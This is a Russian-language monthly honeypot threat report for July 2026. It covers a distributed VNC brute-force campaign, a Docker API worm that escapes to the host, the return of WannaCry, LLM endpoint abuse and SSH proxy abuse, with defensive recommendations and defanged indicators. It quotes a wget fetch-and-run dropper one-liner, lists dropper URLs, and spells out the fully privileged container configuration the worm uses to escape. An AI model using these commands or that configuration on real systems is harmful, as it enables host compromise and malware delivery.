

TLP:CLEAR

Анализ угроз на основе ханипотов

Ежемесячный отчёт — июль 2026

Распределённый VNC-брутфорс | Docker-червь / Escape-to-Host | Возврат WannaCry | LLM Abuse | SSH-прокси-абьюз

Параметр	Значение
Период отчёта	1-31 июля 2026 (2026-07-01 — 2026-08-01 UTC)
Дата анализа	4 августа 2026
Классификация	TLP:CLEAR
Уровень угрозы	СРЕДНИЙ-ВЫСОКИЙ
Узлы ханипотов	DE, US, RU + IEC-104 (ICS/OT) приманка
Объём событий	~2 700 000 атакующих сессий/запросов по всем сервисам
SSH-события	657 706 сессий, 554 964 неудачных логина, 351 payload-загрузка
VNC-события	1 256 816 подключений, 193 552 попытки подбора пароля
Образцы малвари	222 уникальных SHA-256 (199 вредоносных, 23 подозрительных)

1. Краткое заключение

За июль 2026 распределённые сенсоры-приманки (Германия, США, Россия) плюс приманка промышленного протокола IEC-104 (ICS/OT) зафиксировали около 2 700 000 атакующих сессий и запросов по векторам SSH, VNC, многопротокольной эксплуатации, Docker, LLM, MikroTik и Kubernetes. По классической части флота (SSH, Docker, LLM и смежные поверхности) рост составил 58% к июню, причём прирост наблюдался по всем без исключения категориям.

Заглавный сюжет месяца — длительная распределённая кампания подбора пароля к VNC. Приманка приняла 1 256 816 подключений и 193 552 попытки аутентификации, при этом работа была почти идеально поделена между тринадцатью адресами: каждый сделал порядка 10 300-10 600 попыток. Ядро кампании — тридцать адресов одной автономной системы, разнесённых по девяти /24-блокам в трёх несмежных диапазонах; на них приходится около двух третей всей нагрузки, что делает ASN практичной единицей блокировки.

Второй сюжет — эскалация Docker-червя с побегом на хост, который мы описывали в июньском отчёте. Оператор тот же, второй этап тот же, но конфигурация создаваемого контейнера стала предельно агрессивной: полный набор привилегий, все capabilities, разделение всех пространств имён с хостом и отключённые профили seccomp/AppArmor. Третий — возврат Windows-малвари: 63 из 222 пойманных образцов оказались PE32-DLL WannaCry, доставленными через SMB-поверхность, тогда как июнь был почти целиком ELF-червячным.

Отдельно отметим два качественных сдвига. Злоупотребление LLM-эндпоинтами перешло от инвентаризации к потреблению — путь /v1/chat/completions впервые обошёл /api/tags, а два ведущих источника оказались на потребительских, а не на облачных провайдерах. И появился ранее не наблюдавшийся вектор: после успешного логина атакующие проверяют ханипот как открытый SSH-прокси, отправляя через него тестовые запросы к публичным DNS и крупным порталам.

Наконец, важный отрицательный результат. Приманка промышленного протокола IEC-104 второй месяц подряд не получила от внешних атакующих ни одной управляющей команды — только подключения и перечисление точек данных. При этом remote-desktop-поверхность того же узла подверглась массированному подбору пароля. Практический вывод: реальный вектор входа в технологический сегмент — не сам промышленный протокол, а средства удалённого доступа персонала.

2. Сводка по объёмам

SSH (Cowie), точные счётчики:

Метрика	DE	US	RU	Всего	Июнь
Сессии	239 027	183 778	234 901	657 706	497 929
Успешные логины	12 352	2 379	2 943	17 674	19 706
Неудачные логины	190 157	171 251	193 556	554 964	433 721
Команды в shell	4 617	3 181	2 639	10 437	7 590
Скачанные payload-ы	188	163	0	351	516

Загрузки по SFTP	31	18	0	49	—
Прокси-запросы	22 828	1 138	1 826	25 792	—

Уникальных SSH-источников за месяц — 18 564. Прочие сервисы: Dionaea (SMB/MSSQL/MySQL/FTP/SIP) 484 296 событий (+115% к июню); Docker API 185 347 (+56%); Ollama (LLM) 28 610 (+71%); Winbox (MikroTik) 10 017 (+46%); Kubelet 3 634 (+13%). Успешных RCE через Kubelet за месяц не зафиксировано.

Российский узел четвёртый месяц подряд получает ровно ноль payload-загрузок при полностью нормальном объёме брутфорса и разведочных команд (uname). Это устойчивое поведение, а не сбой сенсора: атакующие доходят до shell, снимают отпечаток архитектуры и не переходят к доставке. Наиболее вероятные объяснения три: распознавание приманки конкретными семействами ботов, фильтрация исходящих загрузок на стороне провайдера, либо недоступность самих дроппер-серверов из российских сетей — часть из них размещена у провайдеров, которые сами режут трафик по географии.

Приманка промышленного протокола учитывается отдельно: 1 256 816 VNC-подключений, 193 552 попытки аутентификации по VNC, 56 702 обращения к веб-интерфейсу устройства, 10 027 SNMP-запросов и 2 156 событий IEC-104. Соотношение показательно: на одно внешнее обращение к промышленному протоколу приходится более тысячи подключений к remote-desktop-поверхности того же узла.

3. Находка 1 — Распределённый подбор пароля к VNC (заглавная)

Самая массовая кампания месяца велась против VNC-поверхности (порт 5900) приманки промышленного сегмента: 1 256 816 подключений и 193 552 попытки аутентификации по схеме VNC DES challenge-response. Кампания шла весь месяц без заметных пауз.

Ключевая характеристика — не объём, а структура. Тринадцать адресов сделали почти одинаковое число попыток: от 9 758 до 10 591 у каждого, разброс менее 9%. Такая равномерность не возникает у независимых сканеров и указывает на единый оркестратор, делящий словарь на равные части. Строго говоря, это рабочая гипотеза: тот же рисунок дал бы и готовый инструмент с автобалансировкой по воркерам. Проверяется она пересечением словарей, а не арифметикой долей. Двенадцать из этих тринадцати адресов принадлежат одной автономной системе (AS398019). Всего от неё за месяц работало тридцать адресов, разнесённых по девяти блокам /24 в трёх несмежных диапазонах: 140[.]235[.]17-19[.]x, 207[.]174[.]1-3[.]x и 72[.]51[.]56-59[.]x. Разнесение по несмежным диапазонам — типичный приём против блокировок по префиксу, но здесь он не помогает: общий ASN остаётся надёжным признаком.

Оставшаяся часть нагрузки распределена между тремя дроплетами DigitalOcean (по 3 300-4 000 попыток), одним адресом тайваньского провайдера и длинным хвостом облачных адресов примерно по 200 попыток. Отдельно отметим один адрес европейского потребительского провайдера, отработавший наравне с ядром кампании (9 821 попытка): это либо заражённое домашнее устройство в том же ботнете, либо арендованный резидентный прокси. Адреса потребительских провайдеров в публичные индикаторы не включены.

На AS398019 приходится 126 441 попытка аутентификации из 193 552 (65%) и 789 478 подключений из 1 256 816 (63%): блокировка этой автономной системы целиком сняла бы в июле около двух третей нагрузки. Рекомендация для защитников прямая: VNC не должен быть доступен из интернета, а если удалённый доступ к рабочим местам необходим — только через VPN с многофакторной аутентификацией.

4. Находка 2 — Docker-API червь: эскалация привилегий

Фейковый Docker API получил 185 347 запросов. Один оператор, 45[.]198[.]224[.]5 (AS215925, VPSVAULT.HOST LTD), дал 73,6% из них; в июле к нему добавился второй адрес того же /24 — 45[.]198[.]224[.]26 (11,6%). Суммарно одна подсеть /24 отвечает за 85% всей Docker-поверхности флота. Уникальных Docker-источников за месяц — 2 479, то есть остальные 15% размазаны длинным хвостом сканеров.

Механика доставки не изменилась: POST /v1.43/containers/create (23 590 раз) с последующим /start (23 683), тело содержит base64-команду, которая распаковывается в скрипт, кладётся на смонтированную ФС хоста и выполняется через chroot. Второй этап — тот же самый хост загрузки, что и в июне (придержан вне публичных индикаторов, поскольку остаётся активным).

Изменилась конфигурация контейнера, и изменилась радикально. Июньский вариант ограничивался монтированием ФС хоста в /mnt. Июльский запрашивает: Privileged: true; CapAdd: [ALL, SYS_ADMIN]; PidMode, IpcMode и NetworkMode — host; SecurityOpt: seccomp=unconfined, apparmor=unconfined, label=disable; Binds: / в /host и /dev в /dev; User: root. Это не побег через одну лазейку, а запрос полного отказа от всех уровней изоляции сразу. Хост, где Docker API открыт наружу без аутентификации, при таком запросе компрометируется целиком и мгновенно.

Методы за месяц: POST 149 234, GET 9 108, DELETE 71, PUT 18. HTTP-отпечатки клиента (JA4H) сгруппированы в два устойчивых кластера, что подтверждает единую кодовую базу червя, а не набор разрозненных сканеров. По телеметрии ботнета хост второго этапа зафиксирован как самый активный узел месяца — 2 467 обращений, на порядок больше любого другого C2.

5. Находка 3 — Возврат WannaCry и утроение потока малвари

222 уникальных образца против 70 в июне: 199 вредоносных, 23 подозрительных. Источники — Cowrie (113), Dionaea (72), собранные дропперы (15) и архивный бэкфилл (22).

Профиль снова смешанный. 63 образца — PE32-DLL, пришедшие через SMB-поверхность и сработавшие по правилу WannaCry; из них 53 независимо подтверждены сигнатурой ClamAV как Win.Ransomware.Wanna, остальные десять определяются как другие Windows-семейства или не опознаются вовсе. Это возврат к майской картине после почти целиком ELF-червячного июня. Оставшийся поток — Linux-черви: Go_SSHWorm_Generic (25), Discord_C2_ELF (24), Panchan_SSHWorm_Go (21), UPX-упакованные ELF (35), Mirai (3). Ассортимент архитектур широкий: помимо x86/x86-64 и ARM встречаются MIPS обоих порядков байт, RISC-V, Renesas SH, LoongArch и m68k.

Важное операционное наблюдение: сигнатурный движок ClamAV снова начал давать результат — 98 детектов из 222 (44%). В мае и июне он не опознал ни одного образца из 126 и 70 соответственно, весь детект держался на YARA и imphash. Это не эффект одного лишь возврата

Windows-образцов: из 98 детектов 60 приходятся на PE32 и 38 — на ELF (Unix.Trojan.Mirai, Coinminer, Dropper.Mirai), то есть движок снова видит и Linux-поток. Один и тот же образец Panchan, проходивший в июне только по YARA, в июле помечается как Unix.Trojan.Coinminer. Вывод для практики: сигнатурный слой не бесполезен, но отстаёт от потока на недели, и опираться на него как на единственный контроль нельзя.

Основные дропперы (по загрузкам через Cowrie):

Dropper	Загрузок	Профиль
91[.]199[.]133[.]133:8080/deploy.sh	40	shell-loader
41[.]216[.]189[.]157/run.sh + /bins/*	34	мульти-arch, 17 архитектур
91[.]92[.]42[.]213/phantom.sh + /bins/phantom.*	28	мульти-arch (x86/mips/mpsl/arm)
94[.]154[.]43[.]88/ohshit.sh	24	shell-loader + ftpget anonymous
31[.]56[.]209[.]153/bins.sh + /nz/nz.*	24	мульти-arch
45[.]142[.]142[.]140:8443/dropper_arm _x86	17	тянется с июня
156[.]226[.]174[.]98/bins.sh	12	shell-loader
103[.]161[.]17[.]92/hiddenbin/boatnet.*	10	мульти-arch
github.com/xmrig/xmrig/releases/...	3	майнер XMRig из официального релиза

Отдельно стоит отметить два приёма. Первый — прямая загрузка XMRig из официального релиза на GitHub: репутационные списки и блокировки по домену тут бессильны. Второй — 49 файлов размером от 6 до 16 МБ, залитых по SFTP после успешного логина, минуя wget/curl. Этот канал обходит любой детект, построенный на перехвате дроппер-URL из команд shell.

6. Находка 4 — LLM-абьюз: от инвентаризации к потреблению

28 610 событий на приманке Ollama (+71% к июню) от 1 278 уникальных источников. Качественный сдвиг виден по распределению путей: на первое место вышел /v1/chat/completions (1 803 запроса), обогнав /api/tags (1 227), который лидировал в предыдущие месяцы. Дальше идут /api/version (1 014), /api/generate (626), /v1/models (340), /api/chat (140), /v1/embeddings (72). Проще говоря, атакующие всё меньше переписывают открытые серверы и всё чаще сразу гоняют через них рабочую нагрузку.

Соответственно выросла доля категории inference_abuse — примерно с 17% в июне до 31% в июле. Запрашиваются в основном локальные модели (qwen2.5:7b, llama3.1:8b, codellama:13b), но сохраняются и попытки использовать открытый сервер как бесплатный шлюз к платным облачным моделям. Категория SSRF к cloud-metadata практически исчезла — 7 событий за месяц.

Инструментарий: python-requests, Go-http-client, python-httpx, node-fetch (лидер июня, теперь на четвёртом месте), axios, aiohttp, а также коммерческие сканеры AI-активов и zgrab. Важное наблюдение по источникам: два ведущих адреса месяца принадлежат потребительским провайдерам — европейскому мобильному оператору и спутниковому провайдеру, — а не

облачным площадкам. Для длительных сессий генерации это логично, но это ломает привычную эвристику «атака приходит с датацентрового VPS». Конкретные адреса потребительских провайдеров в публичные индикаторы не включены.

7. Находка 5 — Ханипоты как открытые SSH-прокси

Новый для нашей телеметрии вектор: 25 792 запроса на проброс TCP-соединения (`direct-tcpip`), из них 89% на германском узле. После успешного логина атакующий не запускает малварь, а пытается использовать хост как прокси и проверяет, работает ли он: 2 913 запросов к публичному DNS-резолверу на порт 53, затем массово порт 80 к инфраструктуре Microsoft, Google и Yahoo.

Это стандартная процедура валидации перед перепродажей доступа: скомпрометированный сервер проверяется на пригодность в качестве прокси-узла и попадает в коммерческий пул резидентных или серверных прокси. Практический вывод для защитников: успешный SSH-брутфорс далеко не всегда заканчивается майнером или ботнет-имплантом, и отсутствие вредоносного файла на хосте не означает, что доступ не был монетизирован. Признак компрометации в этом сценарии — исходящие пробросы TCP от `sshd`, а не посторонние процессы.

8. SSH: источники, словари, разведка

Наиболее активные источники брутфорса за месяц: 45[.]148[.]10[.]183 и 45[.]148[.]10[.]240 (кластер тянется с июня), 94[.]154[.]43[.]243 и 94[.]154[.]43[.]181 (AS219502), 195[.]178[.]110[.]30 и 195[.]178[.]110[.]228 (AS48090, известный `bulletproof`-профиль), 128[.]199[.]25[.]179 и 188[.]166[.]209[.]30 (DigitalOcean), 103[.]102[.]153[.]9 (Индонезия), 179[.]43[.]133[.]154 (Панама), 45[.]156[.]87[.]254 (тянется с мая).

Заслуживает внимания подсеть 94[.]154[.]43[.]0/24: она одновременно фигурирует и в топе брутфорса, и как площадка размещения дропперов (94[.]154[.]43[.]88, 94[.]154[.]43[.]192). Это указывает на самодостаточную операцию, где подбор пароля и доставка полезной нагрузки идут с одной инфраструктуры.

Словари: доминирует `root` (108 518 попыток), далее `admin`, `ubuntu`, `user`, `deploy`, `test`, `postgres`, `dev`, `pi`, `debian`. Тематические включения сохраняются: логин `claudio` (782) — второй месяц подряд, боты ищут хосты с развёрнутыми AI-агентами; `sol` и `solana` (771 и 660) — таргетинг валидаторов Solana продолжается, но заметно ослаб против июня (5 906 попыток по логину `sol`). Пароли — классический топ утечек без изменений.

Команды после логина: снятие отпечатка архитектуры (`uname -m`, `/bin/./uname -s -v -n -r -m`), чтение `/proc/self/exe` для определения `busybox`-окружения, и однострочные дропперы вида `wget <host>/nerv.x86_64 -O /tmp/n; chmod 777 /tmp/n; /tmp/n &`.

9. Приманка IEC-104: разведка без единой команды

Приманка промышленного протокола IEC-104 зафиксировала за месяц 2 156 событий, из них внешнего происхождения — 986 подключений, 87 запросов общего опроса (General Interrogation, перечисление точек данных ASDU) и 8 некорректных кадров. Управляющих команд от внешних источников — ноль. Это второй полный месяц наблюдения с идентичным результатом.

Профиль источников подтверждает вывод: сотни адресов по 2-60 подключений каждый, без единого концентрированного актора. Подавляющее большинство — облачные платформы (Linode/Akamai, AWS, DigitalOcean, Alibaba) и известные исследовательские сканеры (Censys, Shadowserver). Это массовая перепись доступных в интернете промышленных устройств, а не подготовка к вмешательству в технологический процесс.

Контраст с предыдущим разделом — главный практический вывод этого отчёта. На одно внешнее обращение к промышленному протоколу пришлось более тысячи подключений к remote-desktop-поверхности того же узла, и подбор пароля вёлся именно к ней. Модель угроз, сосредоточенная на защите промышленных протоколов, смещена относительно наблюдаемой реальности: атакующие ищут не уязвимость в IEC-104, а незакрытый удалённый доступ инженера или подрядчика.

Приоритет мер — инвентаризация и закрытие средств удалённого доступа в технологическом сегменте.

10. География и операторы

Распределение по странам-источникам: США, Китай и Нидерланды формируют ядро, далее Россия, Индия, Гонконг, Германия, Румыния, Сингапур и Вьетнам. Индия в июле впервые вошла в первую пятёрку.

По операторам основной объём по-прежнему дают легитимные облака — DigitalOcean с большим отрывом, затем OVH, Alibaba Cloud и AWS. Это арендованные VPS-ботнеты, а не собственная инфраструктура злоумышленников. Провайдеры с bulletproof-репутацией и санкционные площадки в общем объёме занимают доли процента, но именно они несут таргетированную нагрузку: оператор Docker-червя за месяц дал 85% всей Docker-поверхности, оставаясь при этом почти невидимым в статистике по числу сессий. Практический вывод: ранжирование операторов по количеству сессий систематически недооценивает узкоспециализированных акторов, и оценивать вес актора нужно по объёму запросов.

11. Ботнет-кампании

За месяц отслеживалось 7 кампаний с охватом 133 атакующих адресов (июнь — 78). Помимо хоста второго этапа Docker-червя, устойчиво активны: 217[.]60[.]195[.]113 (AS209373, ОАЭ) — крупнейший по числу подчинённых узлов, тянется с июня; 94[.]183[.]185[.]66 (AS56971); 178[.]128[.]14[.]204 (DigitalOcean); 217[.]76[.]63[.]67 (Contabo); 89[.]208[.]113[.]218 (AS210644, санкционный оператор).

Распределение сессий по категориям: злоупотребление LLM — крупнейшая категория месяца, затем разведка, активность Docker-червя, доставка малвари, разведка MikroTik, кража учётных данных, майнеры, закрепление по SSH и обратные шеллы.

12. Рекомендации

- Не выставлять VNC в интернет. Если удалённый доступ к рабочим местам необходим — только через VPN с многофакторной аутентификацией. Классическая VNC-аутентификация ограничена восемью символами пароля и не выдерживает распределённого подбора такого масштаба.
- Агрегировать неудачные попытки входа по префиксу и автономной системе, а не только по IP. Распределённый подбор с равными долями по десяткам адресов не превышает порог срабатывания ни на одном отдельном IP и проходит мимо классического fail2ban.

- В технологическом сегменте начинать инвентаризацию не с промышленных протоколов, а со средств удалённого доступа. Наблюдаемая нагрузка на remote-desktop-поверхность превысила внешнюю нагрузку на IEC-104 более чем в тысячу раз.
- Docker API не должен быть доступен из интернета ни при каких условиях. Если удалённое управление необходимо — только через TLS с клиентскими сертификатами и списком разрешённых адресов. Отдельно проверить, что порт 2375 закрыт на всех узлах, включая тестовые.
- Настроить оповещение на создание контейнеров с Privileged: true, CapAdd: ALL/SYS_ADMIN, host-режимами пространств имён или монтированием корня ФС. Эта комбинация не встречается в легитимной эксплуатации и является достаточным признаком компрометации.
- Не полагаться на сигнатурный антивирус как на единственный контроль для Linux-нагрузок: в мае-июне он не опознал ни одного образца из потока, в июле — менее половины.
- Контролировать исходящие TCP-пробросы от sshd. Успешный брутфорс всё чаще монетизируется через перепродажу прокси-доступа, и в этом сценарии на хосте не появляется никаких вредоносных файлов.
- Не выставлять наружу LLM-эндпоинты (Ollama, llama.cpp и совместимые) без аутентификации. Открытый сервер потребляется под чужую нагрузку и используется как шлюз к платным облачным моделям за ваш счёт.
- Отключить аутентификацию по паролю в SSH. Львиная доля потока — словарные атаки, и они полностью нейтрализуются переходом на ключи.
- Учитывать SFTP как канал доставки: детект, построенный только на дроппер-URL в командах shell, пропускает загрузку бинарей напрямую по SFTP после успешного логина.

13. MITRE ATT&CK

- T1595.002 — Active Scanning: Vulnerability Scanning
- T1110.001 — Brute Force: Password Guessing
- T1021.005 — Remote Services: VNC
- T1046 — Network Service Discovery
- T1190 — Exploit Public-Facing Application
- T1610 — Deploy Container
- T1611 — Escape to Host
- T1105 — Ingress Tool Transfer
- T1027.002 — Obfuscated Files or Information: Software Packing
- T1090 — Proxy
- T1496 — Resource Hijacking
- T1021.004 — Remote Services: SSH
- T1552.005 — Unsecured Credentials: Cloud Instance Metadata API
- T0846 — Remote System Discovery (ICS, подключения IEC-104)
- T0888 — Remote System Information Discovery (ICS, General Interrogation)

14. Индикаторы компрометации

Машиночитаемые дампы — iocs.stix2.json (STIX 2.1) и iocs.misp.json (MISP) — поставляются вместе с отчётом. В человекочитаемых документах индикаторы приведены в обезвреженном виде, в JSON-дампах — в рабочем. Хост второго этапа Docker-червя намеренно исключён из индикаторов и из внешних фидов, поскольку остаётся активным. Адреса потребительских провайдеров, зафиксированные как источники LLM-абьюза и как узел VNC-кампании, также не публикуются: за ними с высокой вероятностью стоят скомпрометированные домашние устройства.

TLP:CLEAR — Этот документ может распространяться без ограничений.